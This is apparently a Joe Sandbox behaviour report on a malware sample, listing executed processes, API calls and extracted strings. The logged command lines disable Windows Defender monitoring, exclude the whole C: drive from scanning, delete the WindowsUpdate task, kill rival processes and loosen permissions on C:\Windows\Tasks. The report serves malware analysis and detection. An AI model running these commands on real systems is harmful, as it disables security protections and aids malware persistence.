Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /f /im IntelConfigService.exe
Imagebase:	0xf90000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	16:53:07
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /f /im MSTask.exe
Imagebase:	0xf90000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	106
Start time:	16:53:08
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /f /im Superfetch.exe
Imagebase:	0xf90000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	16:53:08
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /f /im Wmiic.exe
Imagebase:	0xf90000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	16:53:08
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /f /im Wrap.exe
Imagebase:	0xf90000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	16:53:09
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c takeown /F c:\windows\tasks
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	16:53:09
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\takeown.exe
Wow64 process (32bit):	true
Commandline:	takeown /F c:\windows\tasks
Imagebase:	0xdd0000
File size:	51'712 bytes
MD5 hash:	A9AB2877AE82A53F5A387B045BF326A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	111
Start time:	16:53:09
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F
Imagebase:	0x360000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	16:53:09
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c takeown /F C:\ProgramData\migrate.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	113
Start time:	16:53:09
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\takeown.exe
Wow64 process (32bit):	true
Commandline:	takeown /F C:\ProgramData\migrate.exe
Imagebase:	0xdd0000
File size:	51'712 bytes
MD5 hash:	A9AB2877AE82A53F5A387B045BF326A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	16:53:10
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c del /F /Q C:\ProgramData\migrate.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	16:53:11
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	16:53:11
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	117
Start time:	16:53:11
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	118
Start time:	16:53:11
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v2.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	119
Start time:	16:53:12
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	120
Start time:	16:53:12
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp_modul_v3.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	121
Start time:	16:53:12
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	16:53:12
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	123
Start time:	16:53:12
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	124
Start time:	16:53:12
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v2.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	125
Start time:	16:53:12
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	126
Start time:	16:53:12
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v3.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	127
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	128
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im ape_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	129
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	130
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im full_rdp_modul_v1.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	131
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	132
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	133
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	134
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	135
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	136
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im rdp.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	137
Start time:	16:53:13
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xf60000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	138
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist /FI "IMAGENAME eq Superfetch.exe"
Imagebase:	0xbd0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	139
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find /I /N "Superfetch.exe"
Imagebase:	0x360000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	140
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	141
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wrm_modul_v4.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	142
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	143
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im nl.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	144
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\takeown.exe
Wow64 process (32bit):	true
Commandline:	takeown /f c:\windows\tasks
Imagebase:	0xdd0000
File size:	51'712 bytes
MD5 hash:	A9AB2877AE82A53F5A387B045BF326A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	145
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	TIMEOUT /T 3 /NOBREAK
Imagebase:	0xe10000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	146
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe
Imagebase:	0x7ff7ce390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	147
Start time:	16:53:14
Start date:	02/07/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im WerFault.exe
Imagebase:	0x7ff6564a0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	148
Start time:	16:53:17
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Set-MpPreference -DisableRealtimeMonitoring $True
Imagebase:	0x9f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	149
Start time:	16:53:18
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Set-MpPreference -ExclusionPath c:\
Imagebase:	0x9f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	150
Start time:	16:53:20
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Windows\Tasks" /inheritance:e /grant "S-1-1-0:(R,REA,RA,RD)" "S-1-5-7:(R,REA,RA,RD)"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	151
Start time:	16:53:20
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	152
Start time:	16:53:20
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	153
Start time:	16:53:20
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	154
Start time:	16:53:20
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	155
Start time:	16:53:20
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	156
Start time:	16:53:20
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	160
Start time:	16:53:24
Start date:	02/07/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	66.1%
Signature Coverage:	17%
Total number of Nodes:	525
Total number of Limit Nodes:	41

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

V, xrefs: 00401E19
x, xrefs: 0040214A
___, xrefs: 0040227D
W, xrefs: 004020E6
{, xrefs: 00401E3C
', xrefs: 00401AF6
v, xrefs: 00401B5A
x, xrefs: 00401B78
', xrefs: 00402006
V, xrefs: 00402038
W, xrefs: 00401B14
!, xrefs: 004020CF
x, xrefs: 00402088
v, xrefs: 00401E4B
{, xrefs: 00401B4B
[, xrefs: 00402047
o, xrefs: 00402159
_._, xrefs: 00402257
v, xrefs: 0040212C
*, xrefs: 004020E1
[, xrefs: 00401B37
4, xrefs: 00401B64
), xrefs: 0040202E
x, xrefs: 00401E69
E, xrefs: 00401E0F
!, xrefs: 00401B1E
*, xrefs: 00401A1F
D, xrefs: 00401DFB
:, xrefs: 00401B28
o, xrefs: 00402097
6, xrefs: 004020C5
U, xrefs: 004020F5
4, xrefs: 00402136
!, xrefs: 0040201A
., xrefs: 0040201F
5, xrefs: 00402109
h, xrefs: 00401A6F
., xrefs: 00401B0A
%, xrefs: 004020FA
8, xrefs: 00401BA9
v, xrefs: 0040206A
W, xrefs: 00402033
", xrefs: 00401B0F
0, xrefs: 00401BBD
o, xrefs: 00401B8D
W, xrefs: 00401B23
{, xrefs: 0040205B
4, xrefs: 00402074
{, xrefs: 0040211D

Memory Dump Source

Source File: 00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3275621443.0000000000426000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000043A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000046F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 09423E38 Relevance: 31.0, Strings: 24, Instructions: 1034COMMON

Download Yara Rule

Strings

xZC, xrefs: 09424320
c]q, xrefs: 094247EC
$@, xrefs: 0942432C
$@, xrefs: 094243DA
$@, xrefs: 09424414
$@, xrefs: 094243A0
$@, xrefs: 09424486
$@, xrefs: 09424366
$@, xrefs: 0942444B
4c]q, xrefs: 094247CC
(_]q, xrefs: 094248D4
Haq, xrefs: 09424BF2
DWC, xrefs: 0942443F
$]q, xrefs: 094244C3
,aq, xrefs: 09424A57
WC, xrefs: 09424408
0YC, xrefs: 09424394
$]q, xrefs: 094244DD
c]q, xrefs: 09424806
Nv\q, xrefs: 09424140
$@, xrefs: 09423E59
$@, xrefs: 094242F2
(_]q, xrefs: 094248EE
4c]q, xrefs: 094247B2

Memory Dump Source

Source File: 00000000.00000002.3298078122.0000000009420000.00000040.00000800.00020000.00000000.sdmp, Offset: 09420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9420000_file.jbxd

Similarity

API ID:
String ID: $@$$@$$@$$@$$@$$@$$@$$@$$@$(_]q$(_]q$,aq$0YC$4c]q$4c]q$DWC$Haq$Nv\q$xZC$$]q$$]q$WC$c]q$c]q
API String ID: 0-415616534
Opcode ID: e96b28d386fa0fdd6024aca7850501d87dd940b5e8158aaf283bef47a3ac584b
Instruction ID: 4ca3b45dbac504da168fbfcdcadbe1b23dd26870a63c4560a38b3b547767eb58
Opcode Fuzzy Hash: e96b28d386fa0fdd6024aca7850501d87dd940b5e8158aaf283bef47a3ac584b
Instruction Fuzzy Hash: C1726760B401344FDB6D9F7D486062E65D7BFCCF50B6049AFD40ADB3A8ED689C418BA2

Function 09427940 Relevance: 22.6, Strings: 17, Instructions: 1377COMMON

Download Yara Rule

Strings

4c]q, xrefs: 09428279
